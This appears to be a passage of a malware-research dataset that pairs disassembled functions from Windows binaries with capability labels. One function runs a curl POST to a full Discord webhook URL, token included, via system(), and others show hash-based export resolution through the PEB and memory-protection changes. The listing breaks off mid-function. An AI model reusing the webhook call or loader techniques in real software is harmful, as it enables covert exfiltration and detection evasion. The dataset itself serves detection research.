joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18002a1b0
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
test edx, edx
je 0x18002a1cd
mov eax, 1
cmp edx, eax
jne 0x18002a20f
mov qword [0x180075668], rcx
add rsp, 0x28
ret
cmp qword [0x180060a70], 0
je 0x18002a20a
cmp qword [0x180060a78], 8
lea rcx, [0x180060a60]
cmovae rcx, qword [0x180060a60]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [0x180034b2c]
lea rcx, [0x180060a60]
call fcn.180001710
mov eax, 1
add rsp, 0x28
ret
Function at 0x420bc0
Capabilities:
Hash data using murmur3

Disassembly:
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
cmp byte [0x005d4433], 0
jne 0x420d25
mov rdx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x20]
sub rdx, qword [rbx + 0x18]
nop
test rdx, rdx
jne 0x420cce
xor eax, eax
nop
nop
nop
mov rcx, rax
shr rax, 3
and rcx, 7
mov edx, 1
shl edx, cl
nop
add rax, qword [rbx + 0x50]
lock or byte [rax], dl
nop
nop
mov rcx, qword [rbx + 0x18]
nop
movabs rdx, 0x800000000000
lea rax, [rdx + rcx]
mov rdx, rax
shr rax, 0x2a
cmp rax, 0x40
jae 0x420d1a
lea rbx, [0x005cba00]
mov rax, qword [rbx + rax*8]
shr rdx, 0x16
and rdx, 0xfffff
mov rdx, qword [rax + rdx*8]
test byte [rdx], al
test byte [rax], al
mov rax, rcx
shr rcx, 0x10
and rcx, 0x3f
movzx ebx, byte [rdx + rcx + 0x21040]
lea rdx, [rdx + rcx]
lea rdx, [rdx + 0x21040]
shr rax, 0xd
and rax, 7
mov rcx, rax
mov esi, 1
shl esi, cl
test sil, bl
jne 0x420c8f
lock or byte [rdx], sil
mov rax, qword gs:[0x28]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov rax, qword [rax + 0xa0]
test byte [rax], al
mov rcx, qword [rsp + 0x30]
add qword [rax + 0x16a8], rcx
mov rcx, qword [rsp + 0x38]
add qword [rax + 0x16b0], rcx
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
cmp word [rbx + 0x5e], 0
je 0x420cea
movzx ecx, byte [rbx + 0x65]
cmp cl, 0x40
sbb rax, rax
shr rdx, cl
and rax, rdx
jmp 0x420bf5
movzx ecx, byte [rbx + 0x65]
cmp cl, 0x40
sbb rax, rax
movzx esi, byte [rbx + 0x66]
cmp sil, 0x40
sbb rdi, rdi
shr rdx, cl
and rax, rdx
movzx edx, word [rbx + 0x5c]
imul rax, rdx
mov ecx, esi
shr rax, cl
and rax, rdi
jmp 0x420bf5
mov ecx, 0x40
nop
call fcn.00465840
lea rax, [0x004f9222]
mov qword [rsp], rax
mov qword [rsp + 8], 0x2c
call fcn.004365e0
nop
int3
Function at 0x4284c0
Capabilities:
Access peb ldr_data

Disassembly:
mov rcx, qword gs:[0x28]
mov rcx, qword [rcx]
cmp rsp, qword [rcx + 0x10]
jbe 0x42872e
sub rsp, 0x58
mov qword [rsp + 0x50], rbp
lea rbp, [rsp + 0x50]
nop
lea rax, [0x005d43b0]
mov qword [rsp], rax
call fcn.0040b580
lea rax, [0x005d4320]
mov qword [rsp], rax
call fcn.00418e40
mov rax, qword [rsp + 8]
mov qword [rsp + 0x48], rax
nop
nop
lea rcx, [0x005d43b0]
mov qword [rsp], rcx
call fcn.0040b7e0
mov rax, qword [rsp + 0x48]
mov byte [rax + 0xa], 1
lea rdi, [rax + 0x10]
cmp dword [0x005d4680], 0
jne 0x42871f
mov rcx, qword [rsp + 0x68]
mov qword [rax + 0x10], rcx
mov qword [rsp + 0x40], rdi
mov rcx, qword [rsp + 0x70]
mov qword [rax + 0x18], rcx
cmp dword [0x005d4680], 0
nop dword [rax]
jne 0x4286f8
mov rcx, qword [rsp + 0x78]
mov qword [rax + 0x20], rcx
mov rcx, qword [rsp + 0x80]
mov qword [rax + 0x28], rcx
mov rcx, qword [rsp + 0x60]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
call fcn.00428020
cmp byte [rsp + 0x10], 0
je 0x428696
cmp dword [0x005d4468], 0
jne 0x4285b4
mov byte [rsp + 0x88], 1
mov rbp, qword [rsp + 0x50]
add rsp, 0x58
ret
mov rax, qword [rsp + 0x60]
mov qword [rsp], rax
xorps xmm0, xmm0
movups xmmword [rsp + 8], xmm0
call fcn.00413ea0
mov rax, qword gs:[0x28]
mov rax, qword [rax]
mov rcx, qword [rax + 0x30]
mov rdx, qword [rsp + 0x18]
nop
inc dword [rcx + 0xd8]
mov rcx, qword [rax + 0x30]
mov qword [rsp + 0x30], rcx
mov rbx, qword [rcx + 0xa0]
test byte [rbx], al
test byte [rax], al
mov qword [rsp], rdx
lea rax, [rbx + 0x1698]
mov qword [rsp + 0x38], rax
mov qword [rsp + 8], rax
call fcn.0041f9e0
mov rax, qword [rsp + 0x40]
mov qword [rsp], rax
mov qword [rsp + 8], 8
lea rax, [0x0058c181]
mov qword [rsp + 0x10], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x18], rax
mov qword [rsp + 0x20], 0
call fcn.0041f840
nop
mov rax, qword gs:[0x28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x30]
mov edx, dword [rcx + 0xd8]
lea ebx, [rdx - 1]
mov dword [rcx + 0xd8], ebx
cmp edx, 1
jne 0x4285a2
cmp byte [rax + 0xb1], 0
je 0x4285a2
mov qword [rax + 0x10], 0xfffffffffffffade
jmp 0x4285a2
nop
nop
lea rax, [0x005d43b0]
mov qword [rsp], rax
call fcn.0040b580
nop
mov rax, qword [0x005d4350]
sub rax, qword [0x005d4320]
mov qword [0x005d4350], rax
mov rax, qword [0x005d4338]
mov rcx, qword [rsp + 0x48]
mov qword [rcx], rax
mov qword [0x005d4338], rcx
nop
nop
lea rax, [0x005d43b0]
mov qword [rsp], rax
call fcn.0040b7e0
mov byte [rsp + 0x88], 0
mov rbp, qword [rsp + 0x50]
add rsp, 0x58
ret
lea rcx, [rax + 0x20]
mov rdi, rcx
mov rbx, qword [rsp + 0x78]
call fcn.004654c0
lea rdi, [rax + 0x28]
mov rcx, qword [rsp + 0x80]
call fcn.00465480
jmp 0x42857b
mov rcx, qword [rsp + 0x68]
call fcn.00465480
jmp 0x428548
call fcn.00463720
jmp fcn.004284c0
Function at 0x457600
Capabilities:
Access peb ldr_data

Disassembly:
mov rcx, qword gs:[0x28]
mov rcx, qword [rcx]
cmp rsp, qword [rcx + 0x10]
jbe 0x4576e1
sub rsp, 0x60
mov qword [rsp + 0x58], rbp
lea rbp, [rsp + 0x58]
mov rax, qword gs:[0x28]
mov rax, qword [rax]
mov qword [rsp + 8], 0
mov qword [rsp + 0x10], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x18], xmm0
movups xmmword [rsp + 0x28], xmm0
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x48], xmm0
lea rcx, [0x0045f340]
mov qword [rsp + 0x10], rcx
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x18], rcx
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 8]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x10]
mov qword [rsp], rax
call fcn.004635c0
mov rax, qword [rsp + 8]
mov qword [rsp + 0x88], rax
mov rbp, qword [rsp + 0x58]
add rsp, 0x60
nop
ret
call fcn.00463720
jmp fcn.00457600
Function at 0x465220
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
mov rcx, qword gs:[0x28]
mov rcx, qword [rcx]
cmp rsp, qword [rcx + 0x10]
jbe 0x402e00
sub rsp, 0x28
mov qword [rsp + 0x20], rbp
lea rbp, [rsp + 0x20]
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
mov rax, qword [rax + 8]
mov qword [rsp], rcx
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rax
call fcn.00409be0
mov rax, qword [rsp + 0x18]
mov qword [rsp + 0x40], rax
mov rbp, qword [rsp + 0x20]
add rsp, 0x28
ret
call fcn.00463720
jmp 0x402da0
cmp byte [0x005d4432], 0
je 0x46523f
mov rax, qword [rsp + 8]
mov rcx, qword [rax + 8]
mov rax, qword [rax]
lea rdx, [rsp + 0x18]
jmp 0x462740
jmp 0x402da0

Function at 0x465260
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
mov rax, qword [0x005d46c0]
nop
mov rcx, qword [rsp + 8]
mov ecx, dword [rcx]
mov rdx, qword [rsp + 0x10]
lea rax, [rdx + rax*4]
xor rax, rcx
shl rcx, 0x20
xor rcx, rax
movabs rax, 0xea38ec9079f01541
imul rax, rcx
rol rax, 0x1f
movabs rcx, 0x2723a30d96da1399
imul rcx, rax
mov rax, rcx
shr rcx, 0x1d
xor rax, rcx
movabs rcx, 0x83cf8eadf876d2d7
imul rcx, rax
mov rax, rcx
shr rcx, 0x20
xor rcx, rax
mov qword [rsp + 0x18], rcx
ret
cmp byte [0x005d4432], 0
je 0x46529c
mov rax, qword [rsp + 8]
movq xmm0, qword [rsp + 0x10]
pinsrd xmm0, dword [rax], 2
aesenc xmm0, xmmword [0x005d4920]
aesenc xmm0, xmmword [0x005d4930]
aesenc xmm0, xmmword [0x005d4940]
movq qword [rsp + 0x18], xmm0
ret
jmp 0x409e60

Function at 0x4652c0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
mov rax, qword [0x005d46c0]
mov rcx, qword [rsp + 8]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x10]
lea rax, [rdx + rax*8]
xor rcx, rax
movabs rax, 0xea38ec9079f01541
imul rax, rcx
rol rax, 0x1f
movabs rcx, 0x2723a30d96da1399
imul rcx, rax
mov rax, rcx
shr rcx, 0x1d
xor rax, rcx
movabs rcx, 0x83cf8eadf876d2d7
imul rcx, rax
mov rax, rcx
shr rcx, 0x20
xor rax, rcx
mov qword [rsp + 0x18], rax
ret
cmp byte [0x005d4432], 0
je 0x4652fd
mov rax, qword [rsp + 8]
movq xmm0, qword [rsp + 0x10]
pinsrq xmm0, qword [rax], 1
aesenc xmm0, xmmword [0x005d4920]
aesenc xmm0, xmmword [0x005d4930]
aesenc xmm0, xmmword [0x005d4940]
movq qword [rsp + 0x18], xmm0
ret
jmp 0x409ee0

Function at 0x466b40
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x30
mov rcx, 0xfffffffffffffff4
mov qword [rsp], rcx
mov rax, qword [sym.imp.kernel32.dll_GetStdHandle]
call rax
mov rcx, rax
mov qword [rsp], rcx
lea rdx, [0x005d48a0]
mov qword [rsp + 8], rdx
lea r8d, [0x005d4444]
mov qword [rsp + 0x10], r8
lea r9, [rsp + 0x28]
mov qword [r9], 0
mov qword [rsp + 0x18], r9
mov qword [rsp + 0x20], 0
mov rax, qword [sym.imp.kernel32.dll_WriteFile]
call rax
add rsp, 0x30
ret
Function at 0x47aea0
Capabilities:
Encode data using base64

Disassembly:
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
mov rdx, qword [rsp + 0x20]
mov rbx, qword [rdx + 8]
lea rsi, [rbx + 0x2e]
imul rsi, rsi, 0xffffffffffffffe4
movabs rax, 0x5816058160581606
mov rcx, rdx
imul rsi
sar rdx, 5
sar rsi, 0x3f
sub rdx, rsi
lea rsi, [rdx + 0x15c]
sar rsi, 0x3f
shr rsi, 0x3d
lea rdx, [rsi + rdx]
lea rdx, [rdx + 0x15c]
sar rdx, 3
cmp rdx, 0x57
jae 0x47af79
lea rsi, [rdx + rdx*2]
lea rdi, [0x00598de0]
mov r8, qword [rdi + rsi*8 + 8]
lea r9, [r8 + rbx]
lea r9, [r9 + 0x40]
cmp r9, 0xffffffffffffffc4
jge 0x47af22
inc rdx
nop
jmp 0x47aef8
cmp r9, 0xffffffffffffffe0
jle 0x47af2d
dec rdx
jmp 0x47aef8
mov rbx, qword [rdi + rsi*8]
mov rax, qword [rcx]
mov rsi, rdx
mul rbx
shr rax, 0x3f
add rdx, rax
mov qword [rcx], rdx
mov rdx, qword [rcx + 8]
lea rdx, [rdx + r8]
lea rdx, [rdx + 0x40]
mov qword [rcx + 8], rdx
mov rcx, rsi
shl rsi, 3
lea rdx, [rsi - 0x15c]
neg rdx
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x30], rcx
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov rax, rdx
mov ecx, 0x57
call fcn.00465820
nop
int3
Function at 0x485000
Capabilities:
Hash data using fnv

Disassembly:
mov rax, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov edx, dword [rsp + 8]
xor ebx, ebx
jmp 0x485021
movzx esi, byte [rax + rbx]
inc rbx
imul edx, edx, 0x1000193
xor edx, esi
cmp rbx, rcx
jl 0x485012
mov dword [rsp + 0x28], edx
ret
Function at 0x140001e00
Capabilities:
Execute command

Disassembly:
sub rsp, 0x58
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x48], rax
lea rdx, str.curl__H__Content_Type:_application_json___X_POST__d___content_:__Hi___https:__discord.com_api_webhooks_1138811166504779856_9JWsOkXH9T4ExKTTn_t6237y4ld6tzQiz8O6jUZkGMZ_OOahJDis2aA3fo1zR2_sOtl4
lea rcx, [rsp + 0x28]
call fcn.1400014a0
lea rcx, [rsp + 0x28]
call fcn.140001c50
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rsp + 0x20], 0
lea rcx, [rsp + 0x28]
call fcn.140001720
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001f40
add rsp, 0x58
ret

Function at 0x1400028b0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400028fa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400028fa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], reloc.KERNEL32.dll_UnhandledExceptionFilter
jne 0x1400028fa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400028fa
cmp dword [rcx + 0x84], 0xe
jbe 0x1400028fa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400028fc
xor al, al
add rsp, 0x28
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x00e7b510]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x00e7b520]
mov dword [rax], 1
mov rax, qword [0x00e7b530]
mov dword [rax], 1
mov rax, qword [0x00e7b500]
mov dword [rax], 1
mov rax, qword [0x00e7b3f0]
cmp word [rax], 0x5a4d
jne 0x401067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x4010c0
mov rax, qword [0x00e7b4f0]
mov dword [0x00e7e00c], ecx
mov eax, dword [rax]
test eax, eax
jne 0x4010b0
mov ecx, 1
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x00e7b4b0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x00e7b3a0]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 2
call sym.__set_app_type
jmp 0x401084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x401108
cmp dx, 0x20b
jne 0x401067
cmp dword [rax + 0x84], 0xe
jbe 0x401067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x401067
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x401067
Function at 0x4015d9
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
mov dword [rbp + 0x10], ecx
call sym.get_PEB
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov rax, qword [rax + 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov rax, qword [rax + 0x20]
mov qword [rbp - 8], rax
jmp 0x401773
mov rax, qword [rbp - 8]
sub rax, 0x10
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov rax, qword [rax + 0x30]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x28]
mov rdx, qword [rax + 0x30]
mov rax, qword [rbp - 0x30]
mov eax, dword [rax + 0x3c]
cdqe
add rax, rdx
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x28]
mov rdx, qword [rax + 0x30]
mov rax, qword [rbp - 0x38]
mov eax, dword [rax + 0x88]
mov eax, eax
add rax, rdx
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x38]
movzx eax, word [rax + 0x16]
movzx eax, ax
and eax, 0x2000
test eax, eax
je 0x401767
mov rax, qword [rbp - 0x28]
mov rdx, qword [rax + 0x30]
mov rax, qword [rbp - 0x40]
mov eax, dword [rax + 0xc]
mov eax, eax
add rax, rdx
mov qword [rbp - 0x48], rax
mov rax, qword [rbp - 0x28]
mov rdx, qword [rax + 0x30]
mov rax, qword [rbp - 0x40]
mov eax, dword [rax + 0x20]
mov eax, eax
add rax, rdx
mov qword [rbp - 0x50], rax
mov rax, qword [rbp - 0x28]
mov rdx, qword [rax + 0x30]
mov rax, qword [rbp - 0x40]
mov eax, dword [rax + 0x1c]
mov eax, eax
add rax, rdx
mov qword [rbp - 0x58], rax
mov rax, qword [rbp - 0x28]
mov rdx, qword [rax + 0x30]
mov rax, qword [rbp - 0x40]
mov eax, dword [rax + 0x24]
mov eax, eax
add rax, rdx
mov qword [rbp - 0x60], rax
mov dword [rbp - 0xc], 0
jmp 0x401753
mov rax, qword [rbp - 0x28]
mov rdx, qword [rax + 0x30]
mov eax, dword [rbp - 0xc]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp - 0x50]
add rax, rcx
mov eax, dword [rax]
mov eax, eax
add rax, rdx
mov qword [rbp - 0x68], rax
mov rax, qword [rbp - 0x28]
mov rdx, qword [rax + 0x30]
mov eax, dword [rbp - 0xc]
cdqe
lea rcx, [rax + rax]
mov rax, qword [rbp - 0x60]
add rax, rcx
movzx eax, word [rax]
movzx eax, ax
lea rcx, [rax*4]
mov rax, qword [rbp - 0x58]
add rax, rcx
mov eax, dword [rax]
mov eax, eax
add rax, rdx
mov qword [rbp - 0x70], rax
mov rax, qword [rbp - 0x68]
mov rcx, rax
call sym.hash32
cmp dword [rbp + 0x10], eax
jne 0x40174f
mov rax, qword [rbp - 0x70]
jmp 0x40178b
add dword [rbp - 0xc], 1
mov rax, qword [rbp - 0x40]
mov edx, dword [rax + 0x18]
mov eax, dword [rbp - 0xc]
cmp edx, eax
ja 0x4016d9
jmp 0x401768
nop
mov rax, qword [rbp - 8]
mov rax, qword [rax]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov rdx, qword [rax]
mov rax, qword [rbp - 0x20]
add rax, 0x20
cmp rdx, rax
jne 0x40160d
add rsp, 0x90
pop rbp
ret
Function at 0x402090
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]

Function at 0x402100
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x00e7e614]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x4022a8
mov rax, qword [0x00e7e618]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x40214c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x4021d7
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x402130
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
je 0x4022e2
mov rax, qword [0x00e7e618]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00e7e618]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x4022f1
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x4021d0
sub eax, 4
and eax, 0xfffffffb
jne 0x402260
add dword [0x00e7e614], 1
cmp ebx, 8
jae 0x402208
test bl, 4
jne 0x4022b0
test ebx, ebx
je 0x4021f9
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x4022d0
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x4021f9
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x40223a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
add rdi, qword [0x00e7e618]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x4021d0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor edi, edi
jmp 0x402157
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x4021f9
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x4021f9
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
mov rax, qword [0x00e7e618]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call dbg.__report_error
nop
nop dword [rax]
Function at 0x402ad0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00e7e900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00e7e8e0]
test rbx, rbx
je 0x402b24
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x402b1b
test r12, r12
je 0x402b1b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402b00
lea rcx, [0x00e7e900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x402d50
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
jne 0x402d60
jmp sym._ValidateImageBase.part.0
xor eax, eax
ret

Function at 0x402d70
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402db5
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x402dac
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x402db7
add rax, 0x28
cmp rax, r9
jne 0x402d98
xor eax, eax
ret

Function at 0x402e60
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x00e7b3f0]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x402ed9
mov rcx, r10
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402ed9
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x402ed6
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x402ecd
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x402ed9
add r8, 0x28
cmp r8, r9
jne 0x402eb8
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret

Function at 0x402fc0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x00e7b3f0]
xor eax, eax
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x40302f
mov rcx, r9
call sym._ValidateImageBase.part.0
test eax, eax
je 0x40302f
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
movzx edx, word [r9 + 6]
lea rax, [r9 + rax + 0x18]
test edx, edx
je 0x40302d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x403024
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x403038
add rax, 0x28
cmp rax, r9
jne 0x403010
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret
Function at 0x403050
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x00e7b3f0]
xor r9d, r9d
cmp word [r11], 0x5a4d
mov r8d, ecx
jne 0x4030c8
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x4030c8
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
mov eax, dword [rcx + 0x90]
test eax, eax
je 0x4030c8
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x4030c8
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r10, [rdx + rcx*8 + 0x28]
nop dword [rax + rax]
mov r9d, dword [rdx + 0xc]
mov rcx, r9
cmp rax, r9
jb 0x4030bc
add ecx, dword [rdx + 8]
cmp rax, rcx
jb 0x4030d0
add rdx, 0x28
cmp rdx, r10
jne 0x4030a8
xor r9d, r9d
mov rax, r9
add rsp, 0x28
ret
add rax, r11
jmp 0x4030e0
sub r8d, 1
add rax, 0x14
mov ecx, dword [rax + 4]
test ecx, ecx
jne 0x4030ee
mov edx, dword [rax + 0xc]
test edx, edx
je 0x4030c5
test r8d, r8d
jg 0x4030d8
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
add rsp, 0x28
ret
Function at 0x1099c
Capabilities:
Query or enumerate registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x50
mov rbp, rcx
lea rcx, [rax - 0x20]
mov edi, r9d
mov rsi, r8
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
and dword [rsp + 0x30], 0
xor r9d, r9d
lea rax, [rsp + 0x30]
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x28], rax
and dword [rsp + 0x20], 0
lea r8d, [r9 + 2]
mov rcx, rbp
call qword [sym.imp.ntoskrnl.exe_ZwQueryValueKey]
mov ecx, 0xc0000034
cmp eax, ecx
je 0x10a8b
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x10a8b
mov rdx, rax
mov ecx, 1
mov r8d, 0x4d525356
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov rbx, rax
test rax, rax
jne 0x10a28
mov eax, 0xc000009a
jmp 0x10a8d
lea rax, [rsp + 0x30]
lea rdx, [rsp + 0x38]
mov r9, rbx
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x30]
mov r8d, 2
mov rcx, rbp
